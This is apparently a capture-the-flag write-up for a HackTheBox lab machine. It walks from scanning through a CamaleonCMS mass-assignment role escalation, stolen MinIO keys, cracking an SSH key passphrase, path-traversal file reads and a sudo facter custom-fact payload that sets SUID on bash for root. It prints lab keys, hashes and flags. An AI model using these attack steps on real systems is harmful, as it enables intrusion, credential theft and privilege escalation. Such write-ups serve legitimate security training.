Enum
- Initial scans + config
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
Open 10.129.16.141:22
Open 10.129.16.141:80
Open 10.129.16.141:54321
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open http syn-ack nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open http syn-ack Golang net/http server
| http-methods:
|_ Supported Methods: GET OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FF2DB70502341
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 22:56:42 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>188FF2DB70502341</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FF2D7CB009A95
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 22:56:27 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>188FF2D7CB009A95</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sat, 31 Jan 2026 22:56:27 GMT
|_ Content-Length: 0
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.16.141:9001
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPorts
22 : SSH
80 : HTTP
54321 : MinIO
- Update
/etc/hosts
$ echo "$IP facts.htb" | sudo tee -a /etc/hosts- Enumerating directories reveals new endpoint
$ gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://facts.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.cache (Status: 200) [Size: 11116]
.listings (Status: 200) [Size: 11125]
.mysql_history (Status: 200) [Size: 11140]
.htpasswd (Status: 200) [Size: 11125]
.perf (Status: 200) [Size: 11113]
.hta (Status: 200) [Size: 11110]
.forward (Status: 200) [Size: 11122]
.bashrc (Status: 200) [Size: 11119]
.passwd (Status: 200) [Size: 11119]
.htaccess (Status: 200) [Size: 11125]
.listing (Status: 200) [Size: 11122]
.config (Status: 200) [Size: 11119]
.cvs (Status: 200) [Size: 11110]
.history (Status: 200) [Size: 11122]
.swf (Status: 200) [Size: 11110]
.ssh (Status: 200) [Size: 11110]
.cvsignore (Status: 200) [Size: 11128]
.svn (Status: 200) [Size: 11110]
.bash_history (Status: 200) [Size: 11137]
.rhosts (Status: 200) [Size: 11119]
.sh_history (Status: 200) [Size: 11131]
.profile (Status: 200) [Size: 11122]
.subversion (Status: 200) [Size: 11131]
.web (Status: 200) [Size: 11110]
400 (Status: 200) [Size: 6685]
404 (Status: 200) [Size: 4836]
500 (Status: 200) [Size: 7918]
admin (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.php (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.cgi (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.pl (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
ajax (Status: 200) [Size: 0]
*snip*- Most endpoints result in 200 even if invalid but we see redirects to valid ones
- Redirect
/admin/login - Create an account


- Login

- We find panel is
CamaleonCMS v2.9.0

User - Intended
- Googling
CamaleonCMS 2.9.0 CVECVE-2025-2304 - Change password function may allow adding additional parameters
- We can infer based on account page
role=client

- Vulnerable function from article
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end- We infer
roleparameter can be added to change password request - Captured request looks like this:

- We can see a format of
password[some_parameter]= - So we infer and add
&password[role]=admin - Make sure it is URL encoded
&password%5Brole%5D=admin

- We see
adminrole and new navigation options after refreshing page

- Exploring the settings we find some secrets

- Recall seeing MinIO running on port
54321earlier - We can enumerate this bucket using keys
$ mc alias set facts http://facts.htb:54321 AKIA10D0188D16E7D088 ApiuYMufWRloEUsPa+oVZvORzKBeJf4BgJXCT/h0
Added `facts` successfully.
$ mc ls facts
[2025-09-11 08:06:52 EDT] 0B internal/
[2025-09-11 08:06:52 EDT] 0B randomfacts/
$ mc ls facts/internal
[2026-01-08 13:45:13 EST] 220B STANDARD .bash_logout
[2026-01-08 13:45:13 EST] 3.8KiB STANDARD .bashrc
[2026-01-08 13:47:17 EST] 20B STANDARD .lesshst
[2026-01-08 13:47:17 EST] 807B STANDARD .profile
[2026-01-31 21:57:23 EST] 0B .bundle/
[2026-01-31 21:57:23 EST] 0B .cache/
[2026-01-31 21:57:23 EST] 0B .ssh/
$ mc ls facts/internal/.ssh
[2026-01-31 17:06:37 EST] 82B STANDARD authorized_keys
[2026-01-31 17:06:37 EST] 464B STANDARD id_ed25519
$ mc cat facts/internal/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABB4DMhDNK
kxScOV2xP3alXIAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHFZkP34XWAEio7n
/PmDNSs6aAa2d1cRo1tB2XAjDaMOAAAAoIEgoBWx3bBivE+vJWl0j0ve3gdOUnWA0U+TrG
7bK5HU5WdGZIxtpjL9tAdw/rQDdRPKQZHjS9q+BGWuQvHNXzlyuz21HWao8prw2Z2i75tY
R/VXFVoXiw2X3LwkqbdTKHOuqV/DTLX/JHb55TCLe+N7/xtoQpsMjhT6OFBLk9Fa2EOZzr
PUyp7dFqF/6Uzw6PQNvhIL0XyeRCfWDEMJsC0=
-----END OPENSSH PRIVATE KEY-----
$ mc cat facts/internal/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHFZkP34XWAEio7n/PmDNSs6aAa2d1cRo1tB2XAjDaMO
$ mc cat facts/internal/.ssh/id_ed25519 > id_ed25519- We have an SSH key but don’t know what user it belongs to
- We can try to view comments since it seemed to lack them in
authorized_keys
$ ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519":- Prompted for password
ssh2johnmight crack
$ ssh2john id_ed25519 > id_ed25519.hash
$ cat id_ed25519.hash
id_ed25519:$sshng$6$16$a78d4bfa92482c79063379302e1254b0$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010a78d4bfa92482c79063379302e1254b00000001800000001000000330000000b7373682d656432353531390000002049dd18c2c54422c3ff87f503a15ccbafb91f4437a29f1f099997171271e36566000000a0eb90ef00832187fa898d8b6ed5192a293838d23996a05f055d36b54ef854bd3fbc75c610018bce127ab8e98b989f0a5b1e7b178fb67de80900921a0007f6875723c20853754e7df47df425b5af84242d53798b6754c39a2038755b32fff4bc9603259f9051391bd45a9df8417fab908031d60e870bea013e4f3b6d478a34f54836c00283a74b4bcb7d7e40f868357b0e9868a4f47766a6fe081a65bc88ceba4d$24$130
$ john --format=ssh --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
dragonballz (id_ed25519)- Retry viewing comments now that we have password
$ ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519": dragonballz
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEndGMLFRCLD/4f1A6Fcy6+5H0Q3op8fCZmXFxJx42Vm trivia@facts.htbSSH user
trivia@facts.htb
- Connect
$ ssh -i id_ed25519 trivia@$IP
Enter passphrase for key 'id_ed25519': dragonballz
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
trivia@facts:~$ ls -la
total 36
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 .
drwxr-xr-x 4 root root 4096 Jan 8 17:53 ..
lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia 220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan 8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan 8 18:01 .bundle
drwx------ 2 trivia trivia 4096 Jan 8 18:58 .cache
drwxrwxr-x 3 trivia trivia 4096 Jan 8 17:52 .local
-rw-r--r-- 1 trivia trivia 807 Aug 20 2024 .profile
drwx------ 2 trivia trivia 4096 Jan 31 22:06 .ssh
trivia@facts:~$ ls /home
trivia william
trivia@facts:~$ ls /home/william/
user.txt
trivia@facts:~$ cat /home/william/user.txt
5797bd21c38c3ef73a6de92d19a08d32User - Unintended
- Likely will get patched
- LFI should be patched in CamaleonCMS 2.9 but it is not in this HTB machine
- PoC Article
- The first method mentioned does obtain file upload, but I didn’t find anything useful before abandoning.
- Don’t think easy path traversal is possible. Could be worth checking out.

$ mc ls facts/randomfacts
*snip*
[2026-01-31 22:15:14 EST] 29B STANDARD pwn.rb
[2026-01-31 22:23:35 EST] 15B STANDARD test.erb
$ curl http://facts.htb/randomfacts/test.erb
<%= `whoami` %>%- Managed to get second example working, utilizing
/admin/media/download_private_file?file=../../../../../../etc/passwd

- For our scenario Change Photo triggers media upload
- Can upload so maybe we can also use the
download_private_file

- Intercepting GET request or simply visiting the URL proves LFI is present
/admin/media/download_private_file?file=../../../../../../etc/passwd
$ cat passwd | grep bash
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bashUsers
root
trivia
william
- Can immediately check access and get user flag in
/home/william/user.txt
GET /admin/media/download_private_file?file=../../../../../../home/william/user.txt

- But in order to gain root we will likely need some sort of RCE or connection
- Attempting to search for default SSH filenames reveals user
trivia

Root
- Always check sudo privs
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
- We can double check our options
trivia@facts:~$ facter -h
Usage
=====
facter [options] [query] [query] [...]
Options
=======
[--color] Enable color output.
[--no-color] Disable color output.
-c [--config] The location of the config file.
[--custom-dir] A directory to use for custom facts.
-d [--debug] Enable debug output.
[--external-dir] A directory to use for external facts.
[--hocon] Output in Hocon format.
-j [--json] Output in JSON format.
-l [--log-level] Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal.
[--no-block] Disable fact blocking.
[--no-cache] Disable loading and refreshing facts from the cache
[--no-custom-facts] Disable custom facts.
[--no-external-facts] Disable external facts.
[--no-ruby] Disable loading Ruby, facts requiring Ruby, and custom facts.
[--trace] Enable backtraces for custom facts.
[--verbose] Enable verbose (info) output.
[--show-legacy] Show legacy facts when querying all facts.
-y [--yaml] Output in YAML format.
[--strict] Enable more aggressive error reporting.
-t [--timing] Show how much time it took to resolve each fact
[--sequential] Resolve facts sequentially
[--http-debug] Whether to write HTTP request and responses to stderr. This should never be used in production.
-p [--puppet] Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts.
-v [--version] Print the version
[--list-block-groups] List block groups
[--list-cache-groups] List cache groups
-h [--help] Help for all arguments--custom-diravailable- Says first
.rbfile in specified dir will be executed - So
pwn.rbshould contain payload to run as root
trivia@facts:~$ mkdir -p /tmp/pwn
trivia@facts:~$ cd /tmp/pwnpwn.rb
Facter.add(: x) {
setcode {
system("chmod u+s /bin/bash")
}
}- Or can echo into file
trivia@facts:~$ echo 'Facter.add(:x) { setcode { system("chmod u+s /bin/bash") } }' > /tmp/pwn/pwn.rb
trivia@facts:/tmp/pwn$ ls
pwn.rb- Now run
sudo facter --custom-dirto load our script and execute our payload withrootprivs
trivia@facts:/tmp/pwn$ sudo facter --custom-dir /tmp/pwn
disks => {
sda => {
model => "Virtual disk",
serial => "6000c2967e20ea19ef110cf6b958a20e",
size => "10.00 GiB",
size_bytes => 10737418240,
type => "ssd",
vendor => "VMware",
wwn => "0x6000c2967e20ea19ef110cf6b958a20e"
}
}
*snip*- Verify our payload executed
trivia@facts:/tmp/pwn$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1740896 Mar 5 2025 /bin/bash- Spawn
rootshell
trivia@facts:/tmp/pwn$ bash -p
bash-5.2$ id
uid=1000(trivia) gid=1000(trivia) euid=0(root) groups=1000(trivia)
bash-5.2$ cat /root/root.txt
cfcb8387746dde02147d8eec1971831f- Hashes
bash-5.2$ cat /etc/shadow
root:$y$j9T$7gs6EMa6c.zpFgKM3Grtz.$q8L7RyD.tdOf9DEhsqmEYBdKBrmxJ60ItpltO/x2nSB:20342:0:99999:7:::
trivia:$y$j9T$1fYkuzD9.m5y7SwWSTUqh/$hb29dYfEthOUaEZr8D1GriIfSkeu8YeiI2WWxMmoiG0:20342:0:99999:7:::
william:$y$j9T$L/LMpuHMall7H5uzpS/mL1$L1EJ9y7BdcE10UIxBSow2eStbt1SefLToaTh4hDacD2:20461:0:99999:7:::